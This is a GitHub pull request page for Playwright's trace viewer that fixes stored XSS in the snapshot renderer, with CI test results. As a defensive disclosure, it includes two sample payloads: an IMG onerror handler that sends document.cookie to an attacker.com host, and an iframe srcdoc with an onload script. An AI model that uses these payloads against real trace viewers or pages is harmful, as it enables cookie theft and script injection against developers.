Skip to content

fix(trace-viewer): strip event handlers and neutralize IFRAME srcdoc/sandbox in snapshot renderer#40676

Open
SebTardif wants to merge 2 commits intomicrosoft:mainfrom
SebTardif:fix/snapshot-renderer-xss-handlers
Open

fix(trace-viewer): strip event handlers and neutralize IFRAME srcdoc/sandbox in snapshot renderer#40676
SebTardif wants to merge 2 commits intomicrosoft:mainfrom
SebTardif:fix/snapshot-renderer-xss-handlers

Conversation

@SebTardif
Copy link
Copy Markdown
Contributor

Summary

Problem

The capture side (snapshotterInjected.ts) empties on* attribute values and skips IFRAME srcdoc/sandbox, but the renderer has no corresponding checks. A crafted trace file bypasses the capture side entirely.

Vector 1: Event handler attributes (zero interaction)

["IMG", {"onerror": "fetch('https://attacker.com/steal?c='+document.cookie)", "src": "x"}, []]

escapeHTMLAttribute does not help because payloads like alert(1) contain no characters that need escaping (&, <, >, ", '). The invalid src="x" triggers onerror automatically when the snapshot renders.

Vector 2: IFRAME srcdoc (zero interaction)

["IFRAME", {"srcdoc": "<body onload=\"parent.window.__pwned=true\">"}, []]

escapeHTMLAttribute escapes < to &lt; and " to &quot;, but the browser decodes HTML entities in attribute values before parsing srcdoc content, undoing the escaping entirely.

Both vectors were confirmed to execute automatically in Chromium with no user interaction.

Attack surface: Trace files are shared between team members, uploaded as CI artifacts, and opened on trace.playwright.dev. AI coding agents (OpenClaw, Claude Code) that browse untrusted sites generate traces that developers then inspect. The OpenClaw project has had stored XSS in its own session viewer from the same innerHTML + onerror pattern. A similar innerHTML + onerror vulnerability in SiYuan Note (CVE-2026-33066) escalated to full RCE in Electron.

Fix

  • Strip on* attributes entirely (continue in the attribute loop)
  • Rename srcdoc and sandbox to __playwright_srcdoc__/__playwright_sandbox__ (same pattern used for src since fix(trace-viewer): block meta refresh and sandbox snapshot iframes #40115)
  • Normalize tag names to uppercase for isFrame, isAnchor, isImg, isMeta comparisons (the pre-existing comparisons were case-sensitive, allowing a crafted trace to bypass them with lowercase tag names)

Changes

  • packages/isomorphic/trace/snapshotRenderer.ts: Attribute filtering + case-insensitive tag comparisons
  • tests/library/snapshot-renderer.spec.ts: 5 new unit tests covering on* stripping, srcdoc/sandbox neutralization, and case-insensitive bypass prevention

Follows the defense-in-depth pattern established in #40655, #40115, and #14325. See also #19992 (traces as untrusted data) and #40533 (trace sanitization feature request).

SebTardif added 2 commits May 6, 2026 11:24
…sandbox in snapshot renderer

The snapshot renderer did not filter event handler attributes (on*)
or neutralize IFRAME srcdoc/sandbox attributes. A crafted trace file
could exploit these gaps:

- onerror/onclick handlers execute without escaping because payloads
  like "alert(1)" contain no characters that escapeHTMLAttribute
  would modify
- srcdoc with embedded HTML/script executes automatically because
  the browser decodes HTML entities in attribute values, undoing
  the escapeHTMLAttribute encoding

Strip on* attributes entirely and rename srcdoc/sandbox to
__playwright_srcdoc__/__playwright_sandbox__ (same pattern used
for iframe src).
…sandbox in snapshot renderer

The snapshot renderer did not filter event handler attributes (on*)
or neutralize IFRAME srcdoc/sandbox attributes. A crafted trace file
could exploit these gaps:

- on* handlers (e.g. onerror, onclick) render as live event handlers
  because payloads like "alert(1)" contain no characters that
  escapeHTMLAttribute would modify. An IMG with onerror + invalid
  src fires automatically with no user interaction.
- srcdoc with embedded HTML/script executes automatically because
  the browser decodes HTML entities in attribute values, undoing
  escapeHTMLAttribute encoding.
- sandbox could alter the iframe security policy.

Also fix case-sensitivity in tag name comparisons: isFrame, isAnchor,
isImg, isMeta, and isSourceInsidePicture now use toUpperCase() to
prevent bypasses via lowercase tag names in crafted traces.
@github-actions
Copy link
Copy Markdown
Contributor

github-actions Bot commented May 6, 2026

Test results for "MCP"

7 failed
❌ [chromium] › mcp/annotate.spec.ts:173 › user-initiated annotate downloads zip with feedback.md @mcp-ubuntu-latest-chromium
❌ [firefox] › mcp/annotate.spec.ts:173 › user-initiated annotate downloads zip with feedback.md @mcp-ubuntu-latest-firefox
❌ [webkit] › mcp/annotate.spec.ts:273 › should enter annotate mode on fresh dashboard.tsx mount with -s --annotate @mcp-windows-latest-webkit
❌ [webkit] › mcp/annotate.spec.ts:297 › should annotate via direct browser_annotate MCP call @mcp-windows-latest-webkit
❌ [webkit] › mcp/annotate.spec.ts:330 › should annotate when context has no fixed viewport @mcp-windows-latest-webkit
❌ [webkit] › mcp/annotate.spec.ts:367 › should cancel browser_annotate when the MCP request is aborted @mcp-windows-latest-webkit
❌ [webkit] › mcp/config.spec.ts:138 › browser_get_config returns merged config from file, env and cli @mcp-windows-latest-webkit

7008 passed, 1058 skipped


Merge workflow run.

@github-actions
Copy link
Copy Markdown
Contributor

github-actions Bot commented May 6, 2026

Test results for "tests 1"

2 flaky ⚠️ [chromium-library] › library/video.spec.ts:337 › screencast › should work for popups `@chromium-ubuntu-22.04-node22`
⚠️ [firefox-library] › library/inspector/cli-codegen-3.spec.ts:224 › cli codegen › should generate frame locators (4) `@firefox-ubuntu-22.04-node20`

41688 passed, 851 skipped


Merge workflow run.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants